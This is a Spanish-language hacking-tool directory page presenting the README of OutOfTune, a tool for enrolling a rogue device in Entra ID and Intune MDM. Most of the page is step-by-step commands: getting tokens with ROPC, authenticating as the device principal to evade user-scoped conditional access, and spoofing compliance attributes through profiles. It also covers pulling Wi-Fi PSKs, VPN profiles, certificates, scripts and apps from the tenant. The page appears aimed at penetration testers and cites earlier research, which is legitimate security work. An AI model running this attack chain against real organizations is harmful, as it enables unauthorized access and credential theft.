Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
OutOfTune — Herramienta de registro de dispositivos maliciosos para Entra ID e Intune MDM. Automatiza la unión de dispositivos, la adquisición de tokens, el registro en MDM y la comprobación de OMA-DM para extraer políticas, credenciales Wi-Fi, scripts y aplicaciones mientras evita el acceso condicional. | Kitploit
Herramientas/GitHubGitHub/stra-x/outoftune
Autenticación y AutorizaciónEscalada de PrivilegiosAnálisis de VulnerabilidadesMovimiento LateralAuditoría de ConfiguraciónRecopilación de InformaciónPost-ExplotaciónPruebas de PenetraciónSeguridad en la NubeSeguridad MóvilGestión de Identidad y Acceso (IAM)
313hace 4 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Red Teaming
GitHubstra-x/outoftune

OutOfTune

Ver Repositorio

Acerca de

Herramienta de registro de dispositivos maliciosos para Entra ID e Intune MDM. Automatiza la unión de dispositivos, la adquisición de tokens, el registro en MDM y la comprobación de OMA-DM para extraer políticas, credenciales Wi-Fi, scripts y aplicaciones mientras evita el acceso condicional.

Compartir

OutOfTune

Inspirado por el Pytune original, OutOfTune registra un dispositivo rogue en Entra ID, lo inscribe en Intune MDM y verifica el estado de cumplimiento resultante.

Solo es compatible con dispositivos Windows, ya que ese era mi objetivo principal; posiblemente agregue otros en el futuro.

Blog complementario:

  • https://stra-x.github.io/Re-Engineering-Pytune-Rogue-devices-in-the-age-of-conditional-access/
  • https://stra-x.github.io/Re-Engineering-Pytune-Rogue-devices-in-the-age-of-conditional-access-pt-2/

Requisitos

root@kitploit:~
pip install -r requirements.txt

Cómo funciona

La cadena se ejecuta en fases, cada una basándose en el estado guardado en chain_state.json.

root@kitploit:~
drs-token  ->  device-join  ->  device-token  ->  mdm-enroll  ->  mdm-checkin
  1. drs-token - obtener un token de acceso DRS (ROPC o pre-obtenido)
  2. device-join - registrar un nuevo objeto de dispositivo en Entra ID, obtener un certificado de dispositivo
  3. device-token - autenticarse como la entidad de seguridad del dispositivo, obtener un token de inscripción de Intune
  4. mdm-enroll - descubrimiento SOAP + inscripción WS-Trust, obtener un certificado de cliente MDM
  5. mdm-checkin - checkin OMA-DM SyncML, obtener políticas, opcionalmente establecer un usuario principal

Uso

1. Obtener un token DRS

ROPC (credenciales conocidas):

root@kitploit:~
python OutOfTune.py drs-token -u [email protected] -p Password1!

Token pre-obtenido:

root@kitploit:~
python OutOfTune.py drs-token -u [email protected] -t <drs_access_token>

2. Unir un dispositivo a Entra ID

root@kitploit:~
python OutOfTune.py device-join
python OutOfTune.py device-join -n CORP-LAPTOP-01

Genera <NOMBREDISPOSITIVO>.pfx - el certificado del dispositivo. La contraseña es password.


3. Obtener un token de entidad de seguridad del dispositivo

root@kitploit:~
python OutOfTune.py device-token
python OutOfTune.py device-token --cert CORP-LAPTOP-01.pfx

Se autentica en AAD como el objeto del dispositivo (no como un usuario). Evita las políticas de CA con ámbito de usuario.


4. Inscribirse en Intune MDM

root@kitploit:~
python OutOfTune.py mdm-enroll
python OutOfTune.py mdm-enroll --profile profiles/dell_win11_ent.json

Ejecuta el descubrimiento SOAP contra el punto final MDM, luego envía una solicitud de inscripción WS-Trust PKCS10. Genera <NOMBREDISPOSITIVO>_mdm.pfx.

Use --profile para suplantar los atributos de hardware/SO del dispositivo enviados a Intune (consulte Perfiles de dispositivo).


5. Checkin OMA-DM

root@kitploit:~
python OutOfTune.py mdm-checkin
python OutOfTune.py mdm-checkin -r <refresh_token>
python OutOfTune.py mdm-checkin --cert CORP-LAPTOP-01_mdm.pfx
python OutOfTune.py mdm-checkin -O ./output
python OutOfTune.py mdm-checkin -O ./output --save-syncml ./output/raw

Ejecuta el bucle OMA-DM SyncML contra r.manage.microsoft.com. Intune enviará perfiles de configuración, asignaciones de aplicaciones y cualquier otra política dirigida al dispositivo. Una vez completado el bucle, la inteligencia se extrae y muestra automáticamente.

Si se proporciona -r, el token de actualización se intercambia por un token de acceso de manage.microsoft.com y se envía como Authorization: Bearer en cada solicitud SyncML. Intune lee el UPN de este token y lo establece como el usuario principal del dispositivo, lo que hace que las políticas de cumplimiento con ámbito de usuario se vinculen. Solo necesita ejecutarse una vez con -r para que se asigne un usuario; todos los checkins posteriores pueden ejecutarse sin un token de actualización.

Sin -r, el dispositivo no tendrá usuario principal.

Después de este checkin inicial, si no vuelve a realizar el checkin durante un período prolongado (generalmente de 5 a 7 días), el dispositivo podría quedar fuera de cumplimiento debido a la política predeterminada "Is Active". Dependiendo de la configuración de Intune, el dispositivo puede entrar en un período de gracia antes de marcarse como no conforme. Si esto ocurre, vuelva a ejecutar mdm-checkin. Si anteriormente usó un token de actualización para asignar un usuario principal, no es necesario enviarlo nuevamente, ya que el usuario principal ahora está almacenado en el backend de Intune.

Indicadores

Información útil extraída


Analizar rondas SyncML guardadas

Vuelva a analizar las rondas XML sin procesar guardadas con --save-syncml sin ejecutar un checkin en vivo.

root@kitploit:~
python OutOfTune.py parse-checkin --dir ./output/raw -O ./output2
python OutOfTune.py parse-checkin --file ./output/raw/round_001.xml -O ./output2

Verificar estado de cumplimiento

root@kitploit:~
python OutOfTune.py check -u [email protected] -r <refresh_token>
python OutOfTune.py check -u [email protected] -p Password1!

Genera un PRT desde el certificado del dispositivo, lo intercambia por un token IWService y consulta IWService/Devices para obtener el estado de cumplimiento del dispositivo y las reglas no conformes.

Use -r con un token de actualización de sesión MFA si el CA del inquilino requiere MFA para el recurso de inscripción.


Descargar aplicaciones y scripts

Obtiene aplicaciones Win32 y scripts de PowerShell asignados al dispositivo a través de IME SideCarGateway. Usa solo el certificado de cliente MDM; no se requiere token de usuario.

root@kitploit:~
python OutOfTune.py download-apps
python OutOfTune.py download-apps --cert CORP-LAPTOP-01_mdm.pfx
  • Los scripts de PowerShell se guardan en scripts/<PolicyId>.ps1
  • Las aplicaciones Win32 se descargan desde la CDN, se descifran y se extraen a apps/<AppName>/

Descargar scripts de corrección

Obtiene scripts de corrección proactiva (pares de detección + corrección) asignados al dispositivo.

root@kitploit:~
python OutOfTune.py get-remediations
python OutOfTune.py get-remediations --cert CORP-LAPTOP-01_mdm.pfx

Cada política se guarda en remediations/<PolicyId>/ que contiene:

  • detection.ps1 — el script de detección
  • remediation.ps1 — el script de corrección
  • params.json — ID de la política y cualquier parámetro del script

Limpieza

Si la eliminación del dispositivo de Intune falla, elimínelo de Entra. Luego caerá en un período de gracia dentro de Intune y se eliminará automáticamente en una fecha posterior.

Eliminar el dispositivo de Intune:

root@kitploit:~
python OutOfTune.py retire-intune -u [email protected] -r <refresh_token>

Eliminar el objeto del dispositivo de Entra ID:

root@kitploit:~
python OutOfTune.py entra-delete

Ver progreso de la cadena

root@kitploit:~
python OutOfTune.py status

Perfiles de dispositivo

Los atributos del dispositivo enviados a Intune durante la inscripción y el checkin son completamente falseables a través de un perfil JSON. Esto incluye identificadores de hardware, versión del SO, fabricante y todos los valores de cumplimiento de CSP autoinformados (BitLocker, Firewall, Defender, TPM, Secure Boot).

root@kitploit:~
python OutOfTune.py mdm-enroll --profile profiles/dell_win11_ent.json
python OutOfTune.py mdm-checkin   # el perfil se guarda en el estado y se reutiliza automáticamente

Perfiles incluidos

ArchivoDispositivo
profiles/default.jsonValores predeterminados (VMware / Win10 Enterprise)
profiles/dell_win11_ent.jsonDell Latitude 5540 / Windows 11 Enterprise 23H2

Campos del perfil

Todos los valores de DeviceStatus CSP son autoinformados y confiables por Intune sin verificación independiente. Las comprobaciones de cumplimiento atestiguadas por HAS (BitLockerEnabled, SecureBootEnabled a través de HealthAttestation CSP) requieren un TPM real y no se pueden falsear de esta manera.


Indicadores globales

root@kitploit:~
--debug          registro detallado de HTTP + tokens
--proxy <url>    enrutar tráfico a través de un proxy (p. ej., http://127.0.0.1:8080)

Estos van antes del comando:

root@kitploit:~
python OutOfTune.py --debug device-token
python OutOfTune.py --proxy http://127.0.0.1:8080 mdm-checkin

Sobrescritura de certificados

Si tiene certificados de una ejecución anterior o desea usar archivos PFX específicos:

root@kitploit:~
python OutOfTune.py device-token      --cert ruta/al/dispositivo.pfx
python OutOfTune.py mdm-enroll        --cert ruta/al/dispositivo.pfx
python OutOfTune.py mdm-checkin       --cert ruta/al/mdm.pfx
python OutOfTune.py check             --cert ruta/al/dispositivo.pfx
python OutOfTune.py download-apps     --cert ruta/al/mdm.pfx
python OutOfTune.py get-remediations  --cert ruta/al/mdm.pfx

Archivo de estado

Todas las salidas de fase se guardan en chain_state.json en el directorio de trabajo. Elimínelo para empezar de nuevo. Use status para inspeccionar el estado actual sin ejecutar nada. Si está trabajando con varios dispositivos, asegúrese de que cada uno tenga su propio archivo de estado. El archivo de estado predeterminado se puede cambiar al inicio del script al dispositivo con el que esté tratando. Tenga cuidado con las opciones de sobrescritura de certificados, son principalmente para fines de depuración.

Créditos

Inmensos créditos para @temp43487580, que creó el Pytune original y cuya investigación original hizo posible esto

  • https://i.blackhat.com/EU-24/Presentations/EU-24-Chudo-Unveiling-the-Power-of-Intune-Leveraging-Intune-for-Breaking-Into-Your-Cloud-and-On-Premise.pdf
  • https://temp43487580.github.io/intune/bypass-enrollment-restictions-to-break-byod-barriers-in-intune/
  • https://github.com/secureworks/pytune
Descargar herramienta
IndicadorDescripción
--cert FILEPFX MDM a usar: el nombre del dispositivo se deriva automáticamente del nombre del archivo
-r RTToken de actualización de usuario: establece el usuario principal (solo se necesita una vez)
-O DIRGuardar artefactos extraídos en DIR (wifi/, vpn/, scripts/, certs/, add_values.json, policy_values.json)
--save-syncml DIRGuardar XML SyncML sin procesar por ronda en DIR para volver a analizarlo sin conexión
-o FILEEscribir la salida completa de la consola en FILE
CategoríaGuardado enNotas
Perfiles Wi-Fiwifi/<SSID>.xml + _psk.txtPSK en texto plano extraído si está presente
Perfiles VPNvpn/<nombre>.xmlProfileXML completo
Cargas de certificadoscerts/cert_N.b64Blobs PFX cifrados (sin procesar, aún no descifrados)
Desafíos SCEPmostradosNombre del modelo de CA, URL del desafío
Scriptsscripts/<nombre>.ps1Scripts de PowerShell enviados a través de OMA-DM
URLs de descarga MSImostradasEnlaces CDN directos para aplicaciones LOB
Blob ODJodj_blob.b64 + odj_strings.txtUnión de dominio sin conexión: cadenas legibles extraídas
Valores Addadd_values.jsonTodos los demás comandos Add (certificados raíz de CA, incorporación de MDE, configuración de políticas)
Valores Replacepolicy_values.jsonValores de la CSP de políticas establecidos por Intune
CampoCSPNotas
os_versionDevDetail/SwVComprobaciones de cumplimiento de versión mínima/máxima del SO
os_edition_syncmlWindowsLicensing/Edition4 = Enterprise, 48 = Pro
manufacturerDevInfo/ManAlgunas políticas permiten fabricantes específicos
mac_addressSOAP AdditionalContext/MACTodo ceros es un indicador obvio
hw_dev_id_enrollSOAP AdditionalContext/HWDevID64 caracteres hexadecimales
bitlocker_statusBitLocker/Status/DeviceEncryptionStatus2 = cifrado (autoinformado)
encryption_complianceDeviceStatus/Compliance/EncryptionCompliance1 = conforme (autoinformado)
firewall_statusDeviceStatus/Firewall/Status0 = activado (autoinformado)
secure_boot_stateDeviceStatus/SecureBootState1 = habilitado (autoinformado, no atestiguado por HAS)
tpm_versionDeviceStatus/TPM/SpecificationVersionSin prueba criptográfica
defender_enabledDefender/Health/DefenderEnabledtrue = en ejecución
defender_versionDefender/Health/DefenderVersionAlgunas políticas exigen una versión mínima